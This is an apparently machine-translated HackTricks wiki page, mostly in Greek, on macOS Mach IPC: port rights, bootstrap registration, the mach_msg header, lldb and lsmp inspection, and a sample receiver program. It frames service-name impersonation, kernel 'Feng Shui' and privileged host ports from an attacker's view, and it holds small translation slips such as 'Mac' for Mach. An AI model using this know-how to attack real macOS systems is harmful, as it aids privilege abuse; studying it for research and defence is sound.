macOS IPC - Inter Process Communication

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Mach messaging via Ports

Basic Information

Το Mach χρησιμοποιεί tasks ως τη μικρότερη μονάδα για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει πολλές νήματα. Αυτές οι tasks και νήματα αντιστοιχούν 1:1 σε διαδικασίες και νήματα POSIX.

Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός μόνο τρόπου. Μηνύματα μεταφέρονται μεταξύ θυρών, οι οποίες λειτουργούν ως ουρές μηνυμάτων που διαχειρίζεται ο πυρήνας.

Μια θύρα είναι το βασικό στοιχείο της Mach IPC. Μπορεί να χρησιμοποιηθεί για να στείλει μηνύματα και να τα λάβει.

Κάθε διαδικασία έχει έναν πίνακα IPC, όπου είναι δυνατή η εύρεση των mach ports της διαδικασίας. Το όνομα μιας mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα).

Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα θύρας με ορισμένα δικαιώματα σε μια διαφορετική task και ο πυρήνας θα κάνει αυτή την καταχώρηση στον πίνακα IPC της άλλης task να εμφανιστεί.

Port Rights

Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά δικαιώματα θύρας είναι (ορισμοί από εδώ):

  • Δικαίωμα λήψης, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στη θύρα. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο ένα δικαίωμα λήψης για κάθε θύρα σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο αναγνωστικό άκρο ενός σωλήνα).

  • Μια task με το Δικαίωμα Λήψης μπορεί να λαμβάνει μηνύματα και να δημιουργεί Δικαιώματα Αποστολής, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η δική της task έχει Δικαίωμα Λήψης πάνω στη θύρα της.

  • Εάν ο ιδιοκτήτης του Δικαιώματος Λήψης πεθάνει ή το σκοτώσει, το δικαίωμα αποστολής γίνεται άχρηστο (νεκρό όνομα).

  • Δικαίωμα αποστολής, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.

  • Το Δικαίωμα Αποστολής μπορεί να κλωνοποιηθεί έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να κλωνοποιήσει το δικαίωμα και να το παραχωρήσει σε μια τρίτη task.

  • Σημειώστε ότι τα δικαιώματα θύρας μπορούν επίσης να περαστούν μέσω μηνυμάτων Mac.

  • Δικαίωμα αποστολής-μία φορά, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.

  • Αυτό το δικαίωμα δεν μπορεί να κλωνοποιηθεί, αλλά μπορεί να μετακινηθεί.

  • Δικαίωμα συνόλου θυρών, το οποίο δηλώνει ένα σύνολο θυρών αντί για μια μόνο θύρα. Η αποδέσμευση ενός μηνύματος από ένα σύνολο θυρών αποδεσμεύει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν σε πολλές θύρες ταυτόχρονα, πολύ όπως το select/poll/epoll/kqueue στο Unix.

  • Νεκρό όνομα, το οποίο δεν είναι πραγματικά δικαίωμα θύρας, αλλά απλώς μια θέση κράτησης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.

Οι tasks μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι ώστε μια task να μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη task. Αυτό, σε συνδυασμό με μια ενδιάμεση διαδικασία γνωστή ως bootstrap server, επιτρέπει την αποτελεσματική επικοινωνία μεταξύ των tasks.

File Ports

Οι θύρες αρχείων επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατή η δημιουργία ενός fileport από μια δεδομένη FD χρησιμοποιώντας το fileport_makeport και η δημιουργία μιας FD από μια fileport χρησιμοποιώντας το fileport_makefd.

Establishing a communication

Όπως αναφέρθηκε προηγουμένως, είναι δυνατή η αποστολή δικαιωμάτων χρησιμοποιώντας μηνύματα Mach, ωστόσο, δεν μπορείτε να στείλετε ένα δικαίωμα χωρίς να έχετε ήδη ένα δικαίωμα για να στείλετε ένα μήνυμα Mach. Έτσι, πώς καθορίζεται η πρώτη επικοινωνία;

Για αυτό, εμπλέκεται ο bootstrap server (launchd στο mac), καθώς ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server, είναι δυνατή η αίτηση για ένα δικαίωμα να στείλει ένα μήνυμα σε μια άλλη διαδικασία:

  1. Η Task A δημιουργεί μια νέα θύρα, αποκτώντας το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ πάνω της.

  2. Η Task A, ως κάτοχος του Δικαιώματος Λήψης, δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα.

  3. Η Task A καθορίζει μια σύνδεση με τον bootstrap server, και του στέλνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα που δημιούργησε στην αρχή.

  • Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server.

  1. Η Task A στέλνει ένα μήνυμα bootstrap_register στον bootstrap server για να συσχετίσει τη δεδομένη θύρα με ένα όνομα όπως com.apple.taska

  2. Η Task B αλληλεπιδρά με τον bootstrap server για να εκτελέσει μια bootstrap αναζήτηση για το όνομα υπηρεσίας (bootstrap_lookup). Έτσι, για να μπορέσει να απαντήσει ο bootstrap server, η task B θα του στείλει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα που δημιούργησε προηγουμένως μέσα στο μήνυμα αναζήτησης. Εάν η αναζήτηση είναι επιτυχής, ο server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ που έλαβε από την Task A και το μεταδίδει στην Task B.

  • Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server.

  1. Με αυτό το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, η Task B είναι ικανή να στείλει ένα μήνυμα στην Task A.

  2. Για μια αμφίδρομη επικοινωνία, συνήθως η task B δημιουργεί μια νέα θύρα με ένα ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ και ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, και δίνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).

Ο bootstrap server δεν μπορεί να πιστοποιήσει το όνομα υπηρεσίας που δηλώνει μια task. Αυτό σημαίνει ότι μια task θα μπορούσε δυνητικά να παριστάνει οποιαδήποτε συστημική task, όπως να δηλώνει ψευδώς ένα όνομα υπηρεσίας εξουσιοδότησης και στη συνέχεια να εγκρίνει κάθε αίτημα.

Στη συνέχεια, η Apple αποθηκεύει τα ονόματα υπηρεσιών που παρέχονται από το σύστημα σε ασφαλή αρχεία ρυθμίσεων, που βρίσκονται σε καταλόγους προστατευμένους από SIP: /System/Library/LaunchDaemons και /System/Library/LaunchAgents. Μαζί με κάθε όνομα υπηρεσίας, το σχετικό δυαδικό αρχείο αποθηκεύεται επίσης. Ο bootstrap server θα δημιουργήσει και θα διατηρήσει ένα ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ για καθένα από αυτά τα ονόματα υπηρεσίας.

Για αυτές τις προκαθορισμένες υπηρεσίες, η διαδικασία αναζήτησης διαφέρει ελαφρώς. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:

  • Η Task B ξεκινά μια bootstrap αναζήτηση για ένα όνομα υπηρεσίας.

  • Ο launchd ελέγχει αν η task εκτελείται και αν δεν εκτελείται, την ξεκινά.

  • Η Task A (η υπηρεσία) εκτελεί έναν bootstrap check-in (bootstrap_check_in()). Εδώ, ο bootstrap server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A.

  • Ο launchd διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B.

  • Η Task B δημιουργεί μια νέα θύρα με ένα ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ και ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, και δίνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A (την υπηρεσία) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).

Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνωση.

Επομένως, ο launchd δεν πρέπει ποτέ να καταρρεύσει ή ολόκληρο το σύστημα θα καταρρεύσει.

A Mach Message

Find more info here

Η συνάρτηση mach_msg, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη μηνυμάτων Mach. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως αρχικό επιχείρημα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή mach_msg_header_t, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Διεργασίες που κατέχουν ένα receive right μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι senders έχουν παραχωρηθεί ένα send ή ένα send-once right. Το send-once right προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.

Το αρχικό πεδίο msgh_bits είναι μια bitmap:

  • Το πρώτο bit (το πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι σύνθετο (περισσότερα για αυτό παρακάτω)

  • Τα 3ο και 4ο χρησιμοποιούνται από τον πυρήνα

  • Τα 5 λιγότερο σημαντικά bits του 2ου byte μπορούν να χρησιμοποιηθούν για voucher: ένας άλλος τύπος θύρας για την αποστολή συνδυασμών κλειδιού/τιμής.

  • Τα 5 λιγότερο σημαντικά bits του 3ου byte μπορούν να χρησιμοποιηθούν για local port

  • Τα 5 λιγότερο σημαντικά bits του 4ου byte μπορούν να χρησιμοποιηθούν για remote port

Οι τύποι που μπορούν να καθοριστούν στο voucher, local και remote ports είναι (από mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Για παράδειγμα, MACH_MSG_TYPE_MAKE_SEND_ONCE μπορεί να χρησιμοποιηθεί για να υποδείξει ότι ένα δικαίωμα αποστολής μία φορά θα πρέπει να παραχθεί και να μεταφερθεί για αυτή την θύρα. Μπορεί επίσης να καθοριστεί MACH_PORT_NULL για να αποτραπεί ο παραλήπτης να μπορεί να απαντήσει.

Για να επιτευχθεί μια εύκολη διπλής κατεύθυνσης επικοινωνία, μια διαδικασία μπορεί να καθορίσει μια mach port στην κεφαλίδα μήνυματος που ονομάζεται θύρα απάντησης (msgh_local_port) όπου ο παραλήπτης του μηνύματος μπορεί να στείλει μια απάντηση σε αυτό το μήνυμα.

Σημειώστε ότι αυτός ο τύπος διπλής κατεύθυνσης επικοινωνίας χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (xpc_connection_send_message_with_reply και xpc_connection_send_message_with_reply_sync). Αλλά συνήθως δημιουργούνται διαφορετικές θύρες όπως εξηγήθηκε προηγουμένως για να δημιουργηθεί η διπλής κατεύθυνσης επικοινωνία.

Τα άλλα πεδία της κεφαλίδας μηνύματος είναι:

  • msgh_size: το μέγεθος ολόκληρου του πακέτου.

  • msgh_remote_port: η θύρα στην οποία αποστέλλεται αυτό το μήνυμα.

  • msgh_voucher_port: mach vouchers.

  • msgh_id: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον παραλήπτη.

Σημειώστε ότι τα mach μηνύματα αποστέλλονται μέσω μιας mach port, η οποία είναι ένα κανάλι επικοινωνίας με έναν μόνο παραλήπτη, πολλούς αποστολείς που είναι ενσωματωμένο στον πυρήνα mach. Πολλές διαδικασίες μπορούν να στείλουν μηνύματα σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο μία διαδικασία μπορεί να διαβάσει από αυτήν.

Τα μηνύματα σχηματίζονται από την κεφαλίδα mach_msg_header_t που ακολουθείται από το σώμα και από το trailer (αν υπάρχει) και μπορεί να παραχωρήσει άδεια για να απαντηθεί. Σε αυτές τις περιπτώσεις, ο πυρήνας χρειάζεται απλώς να περάσει το μήνυμα από μια εργασία στην άλλη.

Ένα trailer είναι πληροφορίες που προστίθενται στο μήνυμα από τον πυρήνα (δεν μπορεί να οριστεί από τον χρήστη) οι οποίες μπορούν να ζητηθούν κατά την παραλαβή του μηνύματος με τις σημαίες MACH_RCV_TRAILER_<trailer_opt> (υπάρχουν διαφορετικές πληροφορίες που μπορούν να ζητηθούν).

Πολύπλοκα Μηνύματα

Ωστόσο, υπάρχουν και άλλα πιο πολύπλοκα μηνύματα, όπως αυτά που περνούν επιπλέον δικαιώματα θύρας ή μοιράζονται μνήμη, όπου ο πυρήνας χρειάζεται επίσης να στείλει αυτά τα αντικείμενα στον παραλήπτη. Σε αυτές τις περιπτώσεις, το πιο σημαντικό bit της κεφαλίδας msgh_bits είναι ρυθμισμένο.

Οι δυνατές περιγραφές που μπορούν να περαστούν ορίζονται στο mach/message.h:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

In 32bits, όλοι οι περιγραφείς είναι 12B και ο τύπος του περιγραφέα είναι στον 11ο. Στα 64 bits, οι διαστάσεις ποικίλλουν.

Ο πυρήνας θα αντιγράψει τους περιγραφείς από μια εργασία στην άλλη αλλά πρώτα δημιουργώντας ένα αντίγραφο στη μνήμη του πυρήνα. Αυτή η τεχνική, γνωστή ως "Feng Shui", έχει καταχραστεί σε πολλές εκμεταλλεύσεις για να κάνει τον πυρήνα να αντιγράψει δεδομένα στη μνήμη του, κάνοντάς τον διαδικασία να στείλει περιγραφείς στον εαυτό της. Στη συνέχεια, η διαδικασία μπορεί να λάβει τα μηνύματα (ο πυρήνας θα τα απελευθερώσει).

Είναι επίσης δυνατό να σταλεί δικαίωμα θύρας σε μια ευάλωτη διαδικασία, και τα δικαιώματα θύρας θα εμφανιστούν απλώς στη διαδικασία (ακόμα κι αν δεν τα χειρίζεται).

Mac Ports APIs

Σημειώστε ότι οι θύρες σχετίζονται με το namespace της εργασίας, οπότε για να δημιουργήσετε ή να αναζητήσετε μια θύρα, το namespace της εργασίας ερωτάται επίσης (περισσότερα στο mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Δημιουργία μιας θύρας.

  • mach_port_allocate μπορεί επίσης να δημιουργήσει ένα σύνολο θυρών: δικαίωμα λήψης πάνω από μια ομάδα θυρών. Όποτε λαμβάνεται ένα μήνυμα, υποδεικνύεται η θύρα από την οποία προήλθε.

  • mach_port_allocate_name: Αλλάξτε το όνομα της θύρας (κατά προεπιλογή 32bit ακέραιος)

  • mach_port_names: Λάβετε ονόματα θυρών από έναν στόχο

  • mach_port_type: Λάβετε δικαιώματα μιας εργασίας πάνω σε ένα όνομα

  • mach_port_rename: Μετονομάστε μια θύρα (όπως το dup2 για FDs)

  • mach_port_allocate: Κατανείμετε μια νέα ΛΗΨΗ, PORT_SET ή DEAD_NAME

  • mach_port_insert_right: Δημιουργήστε ένα νέο δικαίωμα σε μια θύρα όπου έχετε ΛΗΨΗ

  • mach_port_...

  • mach_msg | mach_msg_overwrite: Λειτουργίες που χρησιμοποιούνται για να στείλουν και να λάβουν mach μηνύματα. Η έκδοση overwrite επιτρέπει να καθορίσετε ένα διαφορετικό buffer για τη λήψη μηνυμάτων (η άλλη έκδοση θα το επαναχρησιμοποιήσει απλώς).

Debug mach_msg

Καθώς οι λειτουργίες mach_msg και mach_msg_overwrite είναι αυτές που χρησιμοποιούνται για να στείλουν και να λάβουν μηνύματα, η ρύθμιση ενός breakpoint σε αυτές θα επιτρέψει την επιθεώρηση των αποσταλμένων και ληφθέντων μηνυμάτων.

Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει libSystem.B που θα χρησιμοποιήσει αυτή τη λειτουργία.

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

Για να λάβετε τα επιχειρήματα του mach_msg, ελέγξτε τους καταχωρητές. Αυτά είναι τα επιχειρήματα (από mach/message.h):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Λάβετε τις τιμές από τα μητρώα:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Επιθεωρήστε την κεφαλίδα του μηνύματος ελέγχοντας το πρώτο επιχείρημα:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Αυτός ο τύπος mach_msg_bits_t είναι πολύ κοινός για να επιτρέπει μια απάντηση.

Καταμέτρηση θυρών

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

Το name είναι το προεπιλεγμένο όνομα που δίνεται στην θύρα (ελέγξτε πώς αυξάνεται στα πρώτα 3 bytes). Το ipc-object είναι ο αποκρυπτογραφημένος μοναδικός ταυτοποιητής της θύρας. Σημειώστε επίσης πώς οι θύρες με μόνο send δικαίωμα αναγνωρίζουν τον κάτοχό τους (όνομα θύρας + pid). Σημειώστε επίσης τη χρήση του + για να υποδείξετε άλλες εργασίες που συνδέονται με την ίδια θύρα.

Είναι επίσης δυνατό να χρησιμοποιήσετε procesxp για να δείτε επίσης τα καταχωρημένα ονόματα υπηρεσιών (με το SIP απενεργοποιημένο λόγω της ανάγκης του com.apple.system-task-port):

procesp 1 ports

Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντάς το από http://newosxbook.com/tools/binpack64-256.tar.gz

Παράδειγμα κώδικα

Σημειώστε πώς ο αποστολέας κατανέμει μια θύρα, δημιουργεί ένα δικαίωμα αποστολής για το όνομα org.darlinghq.example και το στέλνει στον διακομιστή εκκίνησης ενώ ο αποστολέας ζήτησε το δικαίωμα αποστολής αυτού του ονόματος και το χρησιμοποίησε για να στείλει ένα μήνυμα.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Privileged Ports

Υπάρχουν μερικές ειδικές θύρες που επιτρέπουν να εκτελούνται ορισμένες ευαίσθητες ενέργειες ή να αποκτάται πρόσβαση σε ορισμένα ευαίσθητα δεδομένα σε περίπτωση που μια εργασία έχει τα SEND δικαιώματα πάνω τους. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, όχι μόνο λόγω των δυνατοτήτων αλλά και επειδή είναι δυνατό να μοιραστούν τα SEND δικαιώματα μεταξύ εργασιών.

Host Special Ports

Αυτές οι θύρες εκπροσωπούνται από έναν αριθμό.

SEND δικαιώματα μπορούν να αποκτηθούν καλώντας host_get_special_port και RECEIVE δικαιώματα καλώντας host_set_special_port. Ωστόσο, και οι δύο κλήσεις απαιτούν την host_priv θύρα, στην οποία μπορεί να έχει πρόσβαση μόνο ο root. Επιπλέον, στο παρελθόν, ο root μπορούσε να καλέσει host_set_special_port και να καταλάβει αυθαίρετα, κάτι που επέτρεπε, για παράδειγμα, την παράκαμψη των υπογραφών κώδικα καταλαμβάνοντας την HOST_KEXTD_PORT (το SIP τώρα το αποτρέπει).

Αυτές χωρίζονται σε 2 ομάδες: Οι πρώτες 7 θύρες ανήκουν στον πυρήνα και είναι η 1 HOST_PORT, η 2 HOST_PRIV_PORT, η 3 HOST_IO_MASTER_PORT και η 7 είναι HOST_MAX_SPECIAL_KERNEL_PORT. Αυτές που ξεκινούν από τον αριθμό 8 ανήκουν σε συστήματα δαίμονες και μπορούν να βρεθούν δηλωμένες στο host_special_ports.h.

  • Host port: Αν μια διαδικασία έχει SEND προνόμιο πάνω σε αυτή τη θύρα, μπορεί να αποκτήσει πληροφορίες σχετικά με το σύστημα καλώντας τις ρουτίνες της όπως:

  • host_processor_info: Λάβετε πληροφορίες επεξεργαστή

  • host_info: Λάβετε πληροφορίες host

  • host_virtual_physical_table_info: Πίνακας εικονικής/φυσικής μνήμης (απαιτεί MACH_VMDEBUG)

  • host_statistics: Λάβετε στατιστικά στοιχεία host

  • mach_memory_info: Λάβετε διάταξη μνήμης πυρήνα

  • Host Priv port: Μια διαδικασία με SEND δικαίωμα πάνω σε αυτή τη θύρα μπορεί να εκτελέσει προνομιακές ενέργειες όπως να εμφανίσει δεδομένα εκκίνησης ή να προσπαθήσει να φορτώσει μια επέκταση πυρήνα. Η διαδικασία πρέπει να είναι root για να αποκτήσει αυτή την άδεια.

  • Επιπλέον, για να καλέσει το API kext_request απαιτείται να έχει άλλες εξουσιοδοτήσεις com.apple.private.kext* που δίνονται μόνο σε δυαδικά αρχεία της Apple.

  • Άλλες ρουτίνες που μπορούν να κληθούν είναι:

  • host_get_boot_info: Λάβετε machine_boot_info()

